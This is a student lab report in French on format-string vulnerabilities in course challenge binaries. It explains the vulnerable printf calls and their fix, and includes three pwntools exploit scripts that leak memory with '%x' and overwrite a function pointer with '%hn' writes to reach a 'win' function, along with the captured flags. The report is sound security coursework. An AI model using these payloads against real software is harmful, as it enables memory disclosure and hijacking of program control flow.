Léchaire Thomas | 21.06.2018 | SLO 2018

Laboratoire 3 - Buffer Overflows

2 Lecture

But : Récupérez le mot de passe secret et récupérez le flag.
Compilation : Le programme est compilé avec gcc -Wno-format-security -no-pie -fno-PIC -m32 -O0.
Vous avez le code source de ce programme mais pas le binaire.

Question 2.1: Quelle est la vulnérabilité dans ce code ? A quelle ligne se trouve cette vulnérabilité ?

La vulnérabilité dans ce code se trouve à la ligne 21 du programme, qui lit notre buffer sans format string (%s).

Question 2.2: Comment pouvez-vous corriger ce code ?

Pour corriger cela il faut ajouter un `%s` dans notre `printf` afin de lui dire d'affiche notre buffer sous forme de string, ainsi nos `%x` qu'on tente de lui passer, ne seront plus interprétés comme des commandes mais juste lus comme des caractères.

Manipulation 2.1: Récupérez le mot de

passe en remote et donnez le dans votre rapport

Il faut faire cela en 2 fois.
La première fois je lance le payoad dans lequel j'affiche ma mémoire. Je récupère une chaîne en hexa décimal que je converti en cratère `ascii -> ÿâï8 ö=N.H0·±êqÿâðTÿâîôetamlairitsillacy`.

Comme en local, où j'avais trouvé dans la mémoire mon mot de passe affiché en little indian, il y a dans cette chaîne de caractère la partie `etamlairitsillacy` qui semble intéressante. Si je l'inverse par bloc de 4 `etam` `lair` `itsi` `llac` `---y` (ici les 4 tirets représentent la suite du bloc qui ne nous est pas utile) cela nous donne `materialistically---` et j'obtiens mon mot de passe. Il suffit alors de le remplacer dans le payload python et en le lançant en remote, le flag est obtenu.

Toute cette méthodologie à été testée sur mon programme en local ou j'ai pu retrouver lors de l'affichage de ma mémoire la chaîne de caractère suivante : `eSym` `terc` `ssaP` `drow` -> `mySecretPassword` et en déduire mon mot de passe (local), ainsi que la marche à suivre.

Le programme python pour lancer en remote.

```
#!/usr/bin/env python2
# encoding: utf-8
from pwn import *
import argparse
```

```
parser = argparse.ArgumentParser("Template d'exploitation SLO
 level3")
parser.add_argument('--file', '-f', type=str, default="./cha1
", help="name of the binary to exploit")
parser.add_argument('--host', type=str, default='10.192.72.22
1', help='IP remote')
parser.add_argument('--port', '-p', type=int, help='Remote po
rt')
parser.add_argument('--remote', '-r', default=False, action='
store_true', help='Enable remote connection')
parser.add_argument('--debug', '-d', default=False, action='s
tore_true', help='Set pwntools log level to debug')
parser.add_argument('--gdb', '-g', default=False, action='sto
re_true', help='Start gdb')

args = parser.parse_args()

if args.debug:
    context.log_level = 'DEBUG'

if args.remote:
    if args.port is None:
        log.warn('Port required for remote execution')
        sys.exit(-1)
    r = remote(args.host, args.port)

else:
```

```
    #r = ELF(args.file)
    r = process(args.file)
    if args.gdb:
        gdb.attach(r, ''' break main ''')


#on affiche un partie de la mémoire avec %x
payload = 'Z' + "%x" * 99
payload = "materialistically"
#payload = "6553796d7465726373736150647 26f77"
r.sendlineafter('Login : ', payload)

r.interactive()
r.close()
```

On aurait pu écrire un payload qui fait tout cela de manière automatique, mais le temps étant une ressource cher

Manipulation 2.2: Récupérez le flag et donnez le dans votre rapport.

`FLAG{Um6ryWCocX6Pxnv06jBTKsoCnbS0FVcS}`

3 Ecriture

But : Faire en sorte d'exécuter la fonction win et récupérer le flag.

Compilation : Le programme est compilé avec gcc -Wno-format-security -no-pie -fno-PIC
-m32 -O0.
Vous avez le code source de ce programme ainsi que le binaire.

Question 3.1: Dans quelle partie de la mémoire se trouve le pointeur sur fonction ?

Dans le BSS.

Question 3.3: Est-ce que l’ASLR est activé en remote ?

Oui

Manipulation 3.1: Affichez deux fois de suite l’adresse du pointeur sur fonction. Est-ce que cette adresse est modifiée ? Pourquoi ?

Non, car l’ASLR ne modifie pas la BSS et function est une variable globale donc stockée dans la BSS.

Question 3.3: Que doit-on faire pour exécuter la fonction win ?

Il fait trouver l'adresse de function et réussir à modifier la valeur pointée, par la valeur de notre fonction win.

Manipulation 3.2: Exploitez la vulnérabilité en remote pour accéder à la fonction win.

On test ou se trouve notre buffer en lancant la commande avec un payload

```
payload = "AAAA" + "%x" * 99
r.sendlineafter('Login : ', payload)
```

La mémoire s'affiche alors en hexa, il faut donc trouvé 4 x 41 qui correspondent à nos 4 A. Une fois trouvé dans notre mémoire, on peut trouver le décalage en comptant le nombre de bytes jusqu'a notre buffer dans mon cas 10.

Il faut trouver ensuite notre fonction win qui est stockée chez moi à l'adresse `0x0804860F`
cela grâce à la commande `x /w win` et l'adresse de "function" `x /w function` dans gdb qui me donne `0x8004a194`.

Avec le template du script, je peux donc écrire mon payload `\x94\xa1\x04\x08%34315x%10$hn` qui se décompose ainsi
-> `\x94\xa1\x04\x08` soit l'adresse de "function" (cette dernière pointe sur la fonction fail actuellement et c'est cela que nous devons écraser)
-> `%34315x` qui correspond aux 2 derniers bytes de ma fonction win = 0x----860F en décimal 34319 - 4 bytes déjà écrit au point précédent pour l'adresse (`\x94\xa1\x04\x08`)
Comme les 2 bits de points fort sont les même pour ma fonction fail et win, je n'ai pas besoin de les remplacer.
–> enfin, 10$hn qui définissent le décalage trouvé avant le $ pour sauter à cet emplacement et hn pour écrire 2 bytes à la fois (hh pour écrire 1 byte)

```
#!/usr/bin/env python2
# encoding: utf-8
from pwn import *
import argparse

parser = argparse.ArgumentParser("Template d'exploitation SLO
 level3")
parser.add_argument('--file', '-f', type=str, default="./chal
2", help="name of the binary to exploit")
parser.add_argument('--host', type=str, default='10.192.72.22
1', help='IP remote')
parser.add_argument('--port', '-p', type=int, help='Remote po
rt')
parser.add_argument('--remote', '-r', default=False, action='
store_true', help='Enable remote connection')
```

```
parser.add_argument('--debug', '-d', default=False, action='store_true', help='Set pwntools log level to debug')
parser.add_argument('--gdb', '-g', default=False, action='store_true', help='Start gdb')

args = parser.parse_args()

if args.debug:
    context.log_level = 'DEBUG'

if args.remote:
    if args.port is None:
        log.warn('Port required for remote execution')
        sys.exit(-1)
    r = remote(args.host, args.port)

else:
    #r = ELF(args.file)
    r = process(args.file)
    if args.gdb:
        gdb.attach(r, ''' break main ''')


#Adresse de function pour faire pointer function vers win
#on ajoute 34515 en décimal (0x860F) pour pointer sur la fonction win
#win et fail on les memes bits de poids fort donc pas besoin de les changer
```

```
payload = "\x94\xa1\x04\x08%34315x%10$hn"

r.sendlineafter('Input : ', payload)

r.interactive()
r.close()
```

Le test concluant en local, je rajoute `--remote --p (port perso)` à ma commande `python chal2.py`

Question 3.4: Quel est le flag obtenu ?

`FLAG{unkIIlSDj1J4zePd83d7A1QkMWc4OhGv}`

Question 3.5: Est-ce que le fait d'avoir ou pas l'ASLR change l'attaque ? Pourquoi ?

Non,
car comme expliqué dans la Manipulation 3.1 l'adresse de function est dans la BSS et l'ASLR ne va pas faire varier cette valeur.

4 Ecriture (2)

But : Faire en sorte d'exécuter la fonction win et récupérer le flag.

Compilation : Le programme est compilé avec gcc -Wno-format-security -

no-pie -fno-PIC -m32 -O0.

Vous avez le code source de ce programme ainsi que le binaire.

Question 4.1: Est-ce que l’ASLR est activé en remote ?

Oui

Manipulation 4.1: Affichez deux fois de suite l’adresse du pointeur sur fonction. Que remarquez-vous ?

L’adresse varie car la function se trouve cette fois dans la stack et non plus dans BSS

Question 4.2: Listez toutes les vulnérabilités du binaire. Comment peut-on les corriger ?

Nous avons 2 failles de par la manière d’afficher les fonctions les valeurs dans les printf().

Ligne 33 et 38 il faudrait modifier l’affichage en utilisant printf("%s", maVar) ce qui indique que maVar doit être lue comme un string et évitera l’exécution des %x ou autre.

Question 4.3: Comment pouvez-vous récupérer l'adresse du pointeur sur fonction en remote ?

On connait la manière dont les éléments sont empilés dans la stack et on sait que buffer sera au dessus de function.

```
void (*function)();
char buffer[SEED];
```

On sait en grâce à la commande disassemble main que notre function se trouve dans [ebp-0x150]

```
0x080486f6 <+199>:   mov    eax,DWORD PTR [ebp-0x150]
0x080486fc <+205>:   call   eax
```

On voit qu'en local si j'écrit dans mon payload "AAAA" + "%x" et que j'affiche un peu plus de ma mémoire grace à la commande `x /10w $ebp-0x150` je vois cela:

`0xff803518: 0x80485e6 0x41414141`

`0x41414141` correspond à mes 4 'A', si mon adresse de la fonction "fail" vaut bien `0x080485E6`, je saurais alors que mon buffer est une adresse après ma fonction "function" et que c'est la valeur de cette dernière que je

devrais remplacer par l'adresse de WIN.

```
gef➤  x /w fail
0x80485e6 <fail>:
```

La fonction "fail" à bien la même adresse. Cela veut dire que l'adresse de mon buffer - 0x4 est égal à l'adresse de "function"

Le problème c'est que cette adresse change à chaque nouvelle compilation. Il nous faut donc écrire un code avec pwntools qui va nous récupérer l'adresse de notre buffer convertir en hexa, soustraire 0x4 pour retomber sur l'adresse de "function" dynamiquement avant de créer notre payload.

La suite de la manipulation cf. 4.2

Manipulation 4.2: Sur la base de toutes ces informations, exploiter la vulnérabilité en remote pour exécuter la fonction win

Pour exploiter cette vulnérabilité, j'ai écris le script suivant:

```
#!/usr/bin/env python2
# encoding: utf-8
from pwn import *
import argparse
```

```
parser = argparse.ArgumentParser("Template d'exploitation SLO
 level3")
parser.add_argument('--file', '-f', type=str, default="./chal
3", help="name of the binary to exploit")
parser.add_argument('--host', type=str, default='10.192.72.22
1', help='IP remote')
parser.add_argument('--port', '-p', type=int, help='Remote po
rt')
parser.add_argument('--remote', '-r', default=False, action='
store_true', help='Enable remote connection')
parser.add_argument('--debug', '-d', default=False, action='s
tore_true', help='Set pwntools log level to debug')
parser.add_argument('--gdb', '-g', default=False, action='sto
re_true', help='Start gdb')

args = parser.parse_args()

if args.debug:
    context.log_level = 'DEBUG'

if args.remote:
    if args.port is None:
        log.warn('Port required for remote execution')
        sys.exit(-1)
    r = remote(args.host, args.port)

else:
```

```
    #r = ELF(args.file)
    r = process(args.file)
    if args.gdb:
        gdb.attach(r, ''' break main ''')


#get the value of the function
payload = "%x" #* 11

r.sendlineafter('Login : ', payload)

#on lit notre ligne pour récupérer l'adresse du buffer
retour = r.recvline()
#on ajoute 0x avant la convertion
retour = "0x" + retour

#On converti l'adresse du buffer en décimal
functionAdresse = int(retour, 16)
#on soustrait 0x4 ou 4 à cette adresse
functionAdresse = functionAdresse - 0x4
#On pointe donc sur function maintenant et on retransforme ce
la en string hexa
#au format \x--\x--\x--\x--
adressPayload = p32(functionAdresse)

#on écrit le payload
payload = adressPayload+"%34306x%11$hn"
```

```
r.sendlineafter('Password :', payload)


r.interactive()
r.close()
```

Le code fait les choses suivantes:

On récupère d'abord l'adresse du buffer avec le %x.

```
payload = "%x" #* 11
r.sendlineafter('Login : ', payload)
retour = r.recvline()
```

Au paravant, on a testé ou se trouvait notre buffer en lancant la commande avec un payload

```
payload = "AAAA" + "%x" * 99
r.sendlineafter('Login : ', payload)
```

on trouve un décalage de 11 bytes jusqu'au buffer. Ce décalage est important car c'est lui qui nous permet de pointer directement au bon endroit lorsqu'on injectera notre code après.

on ajoute 0x avant la convertion de notre adresse afin qu'elle ai le bon

format et on lui soustrait 4, car buffer - 4 --> adresse de function

```
retour = "0x" + retour
functionAdresse = int(retour, 16)
functionAdresse = functionAdresse - 0x4
```

On pointe donc sur “function” maintenant et on retransforme notre adresse en string hexa
au format \x–\x–\x–\x-- pour qu’il soit utilisable dans notre payload.

```
adressPayload = p32(functionAdresse)
payload = adressPayload+"%34306x%11$hn"
r.sendlineafter('Password :', payload)
```

à notre adresse de payload on ajoute la valeur des 4 derniers bits de win en decimal - 4 (pour les bytes de l’adresse payload écrit à la main) afin d’obtenir la valeur de win en hexa.

win se trouve à l’adresse 0x08048606

```
gef➤  x /w win
0x8048606 <win>:
```

0x8606 en hexa donne 34610 en décimal - 4 nous avons donc bien 34306 que nous allons écrire à l’emplacement en utilisant le décalage de 11 trouvée auparavant cela avec les commandes 11$ pour sauter à

l’emplacement hn pour écrire par bloc de 2 bytes.

Le test en local étant passé, on rajoute --remote --p “N° du porte perso” et on obtiens notre flag.

Question 4.4: Quel est le flag obtenu ?

FLAG{LYyeiXoAk89BfBFXH1CulFPxFFKlQOKE}